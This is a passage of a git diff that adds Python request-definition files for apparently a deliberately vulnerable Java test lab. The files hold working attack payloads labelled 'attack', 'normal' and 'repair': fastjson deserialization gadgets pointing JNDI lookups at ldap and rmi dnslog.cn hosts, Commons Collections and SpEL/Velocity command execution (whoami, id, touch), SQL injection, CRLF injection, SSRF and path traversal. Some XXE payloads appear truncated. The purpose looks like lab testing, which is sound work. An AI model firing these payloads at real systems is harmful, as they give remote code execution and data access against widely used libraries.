"http://{}:9990/users/sort?orderByColumn=name&orderByDirection=asc'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-mybatics-排序', + 'type': 'repair'}, + 'xss_reflect_htmlEscape_repair': {'method': 'GET', + 'url': 'http://{}:9990/xss_reflect_htmlEscape?name='.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '反射型XSS漏洞-htmlEscape类', + 'type': 'repair'}, + 'xss_reflect_escapeHtml4_repair': {'method': 'GET', + 'url': 'http://{}:9990/xss_reflect_escapeHtml4?name='.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '反射型XSS漏洞-escapeHtml4类', + 'type': 'repair'}, + 'xss_reflect_escapeHtml_reparir': {'method': 'GET', + 'url': 'http://{}:9990/xss_reflect_escapeHtml?name='.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '反射型XSS漏洞-html编码', + 'type': 'repair'}, + 'xss_storage_thymeleaf_reparir': {'method': 'GET', + 'url': 'http://{}:9990/xss_storage_thymeleaf?name='.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '存储型XSS漏洞-thymeleaf模板过滤', + 'type': 'repair'}, + 'file_upload_repair': {'method': 'POST', + 'url': 'http://{}:9990/file_upload'.format(host), + 'headers': {}, + 'parm': 'file', + 'file': 'index/test.txt', + 'name': '任意文件上传漏洞', + 'type': 'repair'}, + 'file_read_repair': {'method': 'GET', + 'url': 'http://{}:9990/file_read?filePath=pom.xml'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '文件读取漏洞-限制路径', + 'type': 'repair'}, + 'file_read_repair1': {'method': 'GET', + 'url': 'http://{}:9990/file_read1?filePath=pom.xml'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '文件读取漏洞-安全方法', + 'type': 'repair'}, + 'file_read_repair2': {'method': 'GET', + 'url': 'http://{}:9990/file_read2?filePath=pom.xml'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '文件读取漏洞-关键字拦截器过滤', + 'type': 'repair'}, + 'file_write_repair': {'method': 'GET', + 'url': 'http://{}:9990/file_write?fileName=test.txt&data=test'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '任意文件写入漏洞', + 'type': 'repair'}, + 'file_write_normal': {'method': 'GET', + 'url': 'http://{}:9990/file_write?fileName=test.log&data=test'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '任意文件写入漏洞', + 'type': 'normal'}, + 'file_download_repair': {'method': 'GET', + 'url': 'http://{}:9990/file_download?fileName=../test.log'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '任意文件下载漏洞', + 'type': 'repair'}, + 'file_delete_repair': {'method': 'GET', + 'url': 'http://{}:9990/file_delete?fileName=test.txt'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '任意文件删除漏洞', + 'type': 'repair'}, + 'runtime_command_execute_normal': {'method': 'GET', + 'url': 'http://{}:9990/runtime_command_execute?command=ls'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '命令执行漏洞-Runtime', + 'type': 'normal'}, + 'runtime_command_execute_repair': {'method': 'GET', + 'url': 'http://{}:9990/runtime_command_execute?command=whoami'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '命令执行漏洞-Runtime', + 'type': 'repair'}, + 'process_builder_command_normal': {'method': 'GET', + 'url': 'http://{}:9990/process_builder_command_execute?command=ls'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '命令执行漏洞-ProcessBuilder', + 'type': 'normal'}, + 'process_builder_command_repair': {'method': 'GET', + 'url': 'http://{}:9990/process_builder_command_execute?command=whoami'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': '命令执行漏洞-ProcessBuilder', + 'type': 'repair'}, + 'crlf_injection_repair': {'method': 'GET', + 'url': 'http://{}:9990/crlf_injection?name=%0D%0ASet-Cookie: sessionid=123456'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'CRLF注入', + 'type': 'repair'}, + 'spel_expression_repair': {'method': 'GET', + 'url': "http://{}:9990/spel_expression?input=T(java.lang.Runtime).getRuntime().exec('whoami')".format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SPEL表达式攻击', + 'type': 'repair'}, + 'spel_expression_normal': {'method': 'GET', + 'url': 'http://{}:9990/spel_expression?input=1'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SPEL表达式攻击', + 'type': 'normal'}, + 'ssrf_openStream_repair': {'method': 'GET', + 'url': 'http://{}:9990/ssrf_openStream?url=https://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-openStream', + 'type': 'repair'}, + 'ssrf_openConnection_repair': {'method': 'GET', + 'url': 'http://{}:9990/ssrf_openConnection?url=http://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-openConnection', + 'type': 'repair'}, + 'ssrf_requestGet_repair': {'method': 'GET', + 'url': 'http://{}:9990/ssrf_requestGet?url=http://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-requestGet', + 'type': 'repair'}, + 'ssrf_okhttp_repair': {'method': 'GET', + 'url': 'http://{}:9990/ssrf_okhttp?url=http://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-okhttp', + 'type': 'repair'}, + 'ssrf_defaultHttpClient_repair': {'method': 'GET', + 'url': 'http://{}:9990/ssrf_defaultHttpClient?url=http://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-defaultHttpClient', + 'type': 'repair'}, + 'ssrf_openStream_normal': {'method': 'GET', + 'url': 'http://{}:9990/ssrf_openStream?url=http://example.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-openStream', + 'type': 'normal'}, + 'ssrf_openConnection_normal': {'method': 'GET', + 'url': 'http://{}:9990/ssrf_openConnection?url=http://example.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-openConnection', + 'type': 'normal'}, + 'ssrf_requestGet_normal': {'method': 'GET', + 'url': 'http://{}:9990/ssrf_requestGet?url=http://example.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-requestGet', + 'type': 'normal'}, + 'ssrf_okhttp_normal': {'method': 'GET', + 'url': 'http://{}:9990/ssrf_okhttp?url=http://example.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-okhttp', + 'type': 'normal'}, + 'ssrf_defaultHttpClient_normal': {'method': 'GET', + 'url': 'http://{}:9990/ssrf_defaultHttpClient?url=http://example.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSRF攻击-defaultHttpClient', + 'type': 'normal'}, + 'ssti_velocity_repair': {'method': 'GET', + 'url': ('http://{}:9990/ssti_velocity?content=%23set (%24exp %3d ' + '"exp")%3b%24exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")').format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'SSTI攻击-velocity', + 'type': 'repair'}, + 'xxe_saxparserfactory_repair': {'method': 'POST', + 'url': 'http://{}:9990/xxe_saxparserfactory'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-saxparserfactory', + 'type': 'repair'}, + 'xxe_xmlreaderfactory_repair': {'method': 'POST', + 'url': 'http://{}:9990/xxe_xmlreaderfactory'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-xmlreaderfactory', + 'type': 'repair'}, + 'xxe_saxbuilder_repair': {'method': 'POST', + 'url': 'http://{}:9990/xxe_saxbuilder'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-saxbuilder', + 'type': 'repair'}, + 'xxe_saxreader_repair': {'method': 'POST', + 'url': 'http://{}:9990/xxe_saxreader'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-saxreader', + 'type': 'repair'}, + 'xxe_documentbuilderfactory_repair': {'method': 'POST', + 'url': 'http://{}:9990/xxe_documentbuilderfactory'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-documentbuilderfactory', + 'type': 'repair'}, + 'xxe_documentbuilderfactory_xinclude_repair': {'method': 'POST', + 'url': 'http://{}:9990/xxe_documentbuilderfactory_xinclude'.format(host), + 'data': ']>&xxe;', + 'headers': {'Content-Type': 'application/json'}, + 'name': 'XXE-documentbuilderfactory_xinclude', + 'type': 'repair'}, + 'OpenRedirector_ModelAndView_normal': {'method': 'GET', + 'url': 'http://{}:9990/OpenRedirector_ModelAndView?url=https://example.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'URL重定向漏洞-ModelAndView', + 'type': 'normal'}, + 'OpenRedirector_sendRedirect_normal': {'method': 'GET', + 'url': 'http://{}:9990/OpenRedirector_sendRedirect?url=https://example.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'URL重定向漏洞-sendRedirect', + 'type': 'normal'}, + 'OpenRedirector_lacation_normal': {'method': 'GET', + 'url': 'http://{}:9990/OpenRedirector_lacation?url=https://example.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'URL重定向漏洞-location', + 'type': 'normal'}, + 'OpenRedirector_ModelAndView_repair': {'method': 'GET', + 'url': 'http://{}:9990/OpenRedirector_ModelAndView?url=https://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'URL重定向漏洞-ModelAndView', + 'type': 'repair'}, + 'OpenRedirector_sendRedirect_repair': {'method': 'GET', + 'url': 'http://{}:9990/OpenRedirector_sendRedirect?url=https://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'URL重定向漏洞-sendRedirect', + 'type': 'repair'}, + 'OpenRedirector_lacation_repair': {'method': 'GET', + 'url': 'http://{}:9990/OpenRedirector_lacation?url=https://www.baidu.com'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'URL重定向漏洞-location', + 'type': 'repair'}, + 'swagger-ui_repair': {'method': 'GET', + 'url': 'http://{}:9990/swagger-ui.html'.format(host), + 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, + 'name': 'swagger-ui-未授权访问漏洞', + 'type': 'repair'}, + 'sql_injection_Optional_repair': {'method': 'GET', + 'url': "http://{}:9990/users/findByOptionalUsername?username=test'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-Optional', + 'type': 'repair'}, + 'sql_injection_Object_repair': {'method': 'POST', + 'url': 'http://{}:9990/users/get_name_object'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"test\'"}', + 'name': 'SQL注入-Object[]', + 'type': 'repair'}, + 'sql_injection_Annotation_repair': {'method': 'GET', + 'url': 'http://{}:9990/users/by-username?name=test'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-MyBatis注解方式', + 'type': 'repair'}, + 'sql_injection_lombok_repair': {'method': 'POST', + 'url': 'http://{}:9990/users/lombok'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"test\'"}', + 'name': 'SQL注入-lombok', + 'type': 'repair'}} diff --git a/python_scripts/poc/collections.py b/python_scripts/poc/collections.py new file mode 100644 index 0000000..9a29cbc --- /dev/null +++ b/python_scripts/poc/collections.py @@ -0,0 +1,35 @@ +# Auto-generated PoC definitions for Commons Collections playground. +import os + +host = os.environ.get('HOST', '192.168.0.9') + +requests_config = { + 'collections_attack_touch': { + 'method': 'GET', + 'url': 'http://{}:9945/transformer?command=touch%20/tmp/collections-success'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'Commons Collections 反序列化 touch 标记', + 'type': 'attack', + }, + 'collections_attack_output': { + 'method': 'GET', + 'url': 'http://{}:9945/transformer?command=id%20%3E%20/tmp/collections-output'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'Commons Collections 反序列化写入 id 输出', + 'type': 'attack', + }, + 'collections_normal': { + 'method': 'GET', + 'url': 'http://{}:9945/playground'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'Commons Collections 靶场首页', + 'type': 'normal', + }, + 'collections_status_normal': { + 'method': 'GET', + 'url': 'http://{}:9945/status'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'Commons Collections 执行状态', + 'type': 'normal', + }, +} diff --git a/python_scripts/poc/data_access.py b/python_scripts/poc/data_access.py new file mode 100644 index 0000000..4be9557 --- /dev/null +++ b/python_scripts/poc/data_access.py @@ -0,0 +1,32 @@ +# Auto-generated from index/vul.py split by module. +import os + +host = os.environ.get('HOST', '192.168.0.9') + +requests_config = {'sql_injection_hsqldb_attack': {'method': 'GET', + 'url': "http://{}:9989/hsqldb?username=1'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-hsqldb', + 'type': 'attack'}, + 'sql_injection_Hibernate_attack': {'method': 'GET', + 'url': ("http://{}:9988/Hibernate_injection?username=foobar' OR (SELECT " + "COUNT(*) FROM User)>=0 OR 'foobar'='").format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-Hibernate', + 'type': 'attack'}, + 'sql_injection_hsqldb_normal': {'method': 'GET', + 'url': "http://{}:9989/hsqldb?username=1'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-hsqldb', + 'type': 'normal'}, + 'sql_injection_hsqldb_repair': {'method': 'GET', + 'url': "http://{}:9989/hsqldb_repair?username=1'".format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-hsqldb', + 'type': 'repair'}, + 'sql_injection_Hibernate_repair': {'method': 'GET', + 'url': ("http://{}:9988/Hibernate_injection_repair?username=foobar' OR " + "(SELECT COUNT(*) FROM User)>=0 OR 'foobar'='").format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'SQL注入-Hibernate', + 'type': 'repair'}} diff --git a/python_scripts/poc/druid.py b/python_scripts/poc/druid.py new file mode 100644 index 0000000..87e0638 --- /dev/null +++ b/python_scripts/poc/druid.py @@ -0,0 +1,20 @@ +# Auto-generated from index/vul.py split by module. +import os + +host = os.environ.get('HOST', '192.168.0.9') + +requests_config = {'druid_unauthorized': {'method': 'GET', + 'url': 'http://{}:9997/druid'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'druid未授权漏洞', + 'type': 'attack'}, + 'druid_authorized': {'method': 'GET', + 'url': 'http://{}:9996/druid'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'druid未授权漏洞', + 'type': 'repair'}, + 'druid_sqlwall': {'method': 'GET', + 'url': 'http://{}:9997/druid_sql?id=1'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'name': 'druid-SQL防火墙', + 'type': 'mistake'}} diff --git a/python_scripts/poc/fastjson.py b/python_scripts/poc/fastjson.py new file mode 100644 index 0000000..de5724f --- /dev/null +++ b/python_scripts/poc/fastjson.py @@ -0,0 +1,251 @@ +# Auto-generated from index/vul.py split by module. +import os + +host = os.environ.get('HOST', '192.168.0.9') + +requests_config = {'fastjson1_2_24_attack': {'method': 'POST', + 'url': 'http://{}:9999/fastjson1.2.24-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fastjson-test.dnslog.cn","autoCommit":true}};', + 'name': 'fastjson-1.2.24反序列漏洞', + 'type': 'attack'}, + 'fastjson_1_2_24_normal': {'method': 'POST', + 'url': 'http://{}:9999/fastjson1.2.24-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.24反序列漏洞', + 'type': 'normal'}, + 'fastjson1_2_25_attack': {'method': 'POST', + 'url': 'http://{}:9987/fastjson1.2.25-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fastjson125.dnslog.cn","autoCommit":true}}', + 'name': 'fastjson-1.2.25-1.2.47反序列漏洞-不需要AutoTypeSupport-通杀', + 'type': 'attack'}, + 'fastjson1_2_25_normal': {'method': 'POST', + 'url': 'http://{}:9987/fastjson1.2.25-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.25-1.2.41反序列漏洞-disableAutoTypeSupport', + 'type': 'normal'}, + 'fastjson1_2_41_attack': {'method': 'POST', + 'url': 'http://{}:9987/fastjson1.2.41-process-setAutoTypeSupport'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://fastjson125-141-setAutoTypeSupport.dnslog.cn","autoCommit":true}', + 'name': 'fastjson-1.2.25-1.2.41反序列漏洞-setAutoTypeSupport', + 'type': 'attack'}, + 'fastjson1_2_41_normal': {'method': 'POST', + 'url': 'http://{}:9987/fastjson1.2.41-process-setAutoTypeSupport'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.25-1.2.41反序列漏洞-setAutoTypeSupport', + 'type': 'normal'}, + 'fastjson1_2_42_attack': {'method': 'POST', + 'url': 'http://{}:9986/fastjson1.2.42-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://fastjson1_2_42_attack.dnslog.cn/Exploit", ' + '"autoCommit":true}', + 'name': 'fastjson-1.2.42反序列漏洞', + 'type': 'attack'}, + 'fastjson1_2_42_normal': {'method': 'POST', + 'url': 'http://{}:9986/fastjson1.2.42-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.42反序列漏洞', + 'type': 'normal'}, + 'fastjson1_2_43_attack': {'method': 'POST', + 'url': 'http://{}:9985/fastjson1.2.43-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://fastjson1_2_43_attack.dnslog.cn/Exploit","autoCommit":true]}', + 'name': 'fastjson-1.2.43反序列漏洞', + 'type': 'attack'}, + 'fastjson1_2_43_normal': {'method': 'POST', + 'url': 'http://{}:9985/fastjson1.2.43-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.43反序列漏洞', + 'type': 'normal'}, + 'fastjson1_2_45_attack': {'method': 'POST', + 'url': 'http://{}:9984/fastjson1.2.45-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://fastjson1.2.45-process.dnslog.cn/Exploit"}}', + 'name': 'fastjson-1.2.45反序列漏洞', + 'type': 'attack'}, + 'fastjson1_2_45_normal': {'method': 'POST', + 'url': 'http://{}:9984/fastjson1.2.45-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.45反序列漏洞', + 'type': 'normal'}, + 'fastjson1_2_59_attack_1': {'method': 'POST', + 'url': 'http://{}:9983/fastjson1.2.59-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"rmi://fastjson1.2.59-process.dnslog.cn/Exploit"}', + 'name': 'fastjson-1.2.59反序列漏洞(1.2.5 <= 1.2.59)-payload1', + 'type': 'attack'}, + 'fastjson1_2_59_attack_2': {'method': 'POST', + 'url': 'http://{}:9983/fastjson1.2.59-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"rmi://fastjson1.2.59-process.dnslog.cn/Exploit"}', + 'name': 'fastjson-1.2.59反序列漏洞(1.2.5 <= 1.2.59)-payload2', + 'type': 'attack'}, + 'fastjson1_2_59_normal': {'method': 'POST', + 'url': 'http://{}:9983/fastjson1.2.59-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.59反序列漏洞(1.2.5 <= 1.2.59)', + 'type': 'normal'}, + 'fastjson1_2_60_attack_1': {'method': 'POST', + 'url': 'http://{}:9982/fastjson1.2.60-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://fastjson1.2.60-process.dnslog.cn/ExportObject"}', + 'name': 'fastjson-1.2.60反序列漏洞(1.2.5 <= 1.2.60)-payload1', + 'type': 'attack'}, + 'fastjson1_2_60_attack_2': {'method': 'POST', + 'url': 'http://{}:9982/fastjson1.2.60-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://fastjson1.2.60-process.dnslog.cn/ExportObject"}', + 'name': 'fastjson-1.2.60反序列漏洞(1.2.5 <= 1.2.60)-payload2', + 'type': 'attack'}, + 'fastjson1_2_60_normal': {'method': 'POST', + 'url': 'http://{}:9982/fastjson1.2.60-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.60反序列漏洞(1.2.5 <= 1.2.60)', + 'type': 'normal'}, + 'fastjson1_2_61_attack_1': {'method': 'POST', + 'url': 'http://{}:9981/fastjson1.2.61-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"rmi://fastjson1.2.61-process.dnslog.cn/Exploit"}', + 'name': 'fastjson-1.2.61反序列漏洞-payload1', + 'type': 'attack'}, + 'fastjson1_2_61_attack_2': {'method': 'POST', + 'url': 'http://{}:9981/fastjson1.2.61-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://fastjson1.2.61-process.dnslog.cn/Exploit","Object":"a"}', + 'name': 'fastjson-1.2.61反序列漏洞-payload2', + 'type': 'attack'}, + 'fastjson1_2_61_normal': {'method': 'POST', + 'url': 'http://{}:9981/fastjson1.2.61-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.61反序列漏洞', + 'type': 'normal'}, + 'fastjson1_2_62_attack_1': {'method': 'POST', + 'url': 'http://{}:9980/fastjson1.2.62-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://fastjson1.2.62-process.dnslog.cn/Exploit"}', + 'name': 'fastjson-1.2.62反序列漏洞-payload1', + 'type': 'attack'}, + 'fastjson1_2_62_attack_2': {'method': 'POST', + 'url': 'http://{}:9980/fastjson1.2.62-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": ' + '{"@type":"java.util.Properties","UserTransaction":"ldap://fastjson1.2.62-process.dnslog.cn/Exploit"}}', + 'name': 'fastjson-1.2.62反序列漏洞-payload2', + 'type': 'attack'}, + 'fastjson1_2_62_normal': {'method': 'POST', + 'url': 'http://{}:9980/fastjson1.2.62-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.62反序列漏洞', + 'type': 'normal'}, + 'fastjson1_2_66_attack_1': {'method': 'POST', + 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"com.caucho.config.types.ResourceRef","LookupName":"rmi://fastjson1.2.66-process.dnslog.cn/Exploit"}', + 'name': 'fastjson-1.2.66反序列漏洞-payload1', + 'type': 'attack'}, + 'fastjson1_2_66_attack_2': {'method': 'POST', + 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://fastjson1.2.66-process.dnslog.cn/Exploit"}', + 'name': 'fastjson-1.2.66反序列漏洞-payload2', + 'type': 'attack'}, + 'fastjson1_2_66_attack_3': {'method': 'POST', + 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://fastjson1.2.66-process.dnslog.cn/Exploit"}', + 'name': 'fastjson-1.2.66反序列漏洞-payload3', + 'type': 'attack'}, + 'fastjson1_2_66_attack_4': {'method': 'POST', + 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://fastjson1.2.66-process.dnslog.cn/Exploit"}', + 'name': 'fastjson-1.2.66反序列漏洞-payload4', + 'type': 'attack'}, + 'fastjson1_2_66_attack_5': {'method': 'POST', + 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://fastjson1.2.66-process.dnslog.cn/Exploit"}', + 'name': 'fastjson-1.2.66反序列漏洞-payload5', + 'type': 'attack'}, + 'fastjson1_2_66_attack_6': {'method': 'POST', + 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", ' + '"jndiNames":["ldap://fastjson1.2.66-process.dnslog.cn/Exploit"], "Realms":[""]}', + 'name': 'fastjson-1.2.66反序列漏洞-payload6', + 'type': 'attack'}, + 'fastjson1_2_66_normal': {'method': 'POST', + 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.66反序列漏洞', + 'type': 'normal'}, + 'fastjson1_2_67_attack_1': {'method': 'POST', + 'url': 'http://{}:9978/fastjson1.2.67-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", ' + '"jndiNames":["ldap://fastjson1.2.67-process.dnslog.cn/Exploit"], "tm": ' + '{"$ref":"$.tm"}}', + 'name': 'fastjson-1.2.67反序列漏洞-payload1', + 'type': 'attack'}, + 'fastjson1_2_67_attack_2': {'method': 'POST', + 'url': 'http://{}:9978/fastjson1.2.67-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://fastjson1.2.67-process.dnslog.cn/Exploit","instance":{"$ref":"$.instance"}}', + 'name': 'fastjson-1.2.67反序列漏洞-payload2', + 'type': 'attack'}, + 'fastjson1_2_67_normal': {'method': 'POST', + 'url': 'http://{}:9978/fastjson1.2.67-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.67反序列漏洞', + 'type': 'normal'}, + 'fastjson1_2_68_attack_1': {'method': 'POST', + 'url': 'http://{}:9977/fastjson1.2.68-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://fastjson1.2.68-process.dnslog.cn/Calc"}', + 'name': 'fastjson-1.2.68反序列漏洞-payload1', + 'type': 'attack'}, + 'fastjson1_2_68_attack_2': {'method': 'POST', + 'url': 'http://{}:9977/fastjson1.2.68-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://fastjson1.2.68-process.dnslog.cn/Calc"}', + 'name': 'fastjson-1.2.68反序列漏洞-payload2', + 'type': 'attack'}, + 'fastjson1_2_68_normal': {'method': 'POST', + 'url': 'http://{}:9977/fastjson1.2.68-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"name":"123","email":"123@123","age":"123"}', + 'name': 'fastjson-1.2.68反序列漏洞', + 'type': 'normal'}, + 'fastjson1_2_80_attack': {'method': 'POST', + 'url': 'http://{}:9976/fastjson1.2.80-process'.format(host), + 'headers': {'Content-Type': 'application/json'}, + 'data': '{"@type": "java.lang.Exception","@type": "myapp.Poc","name": "ping ' + 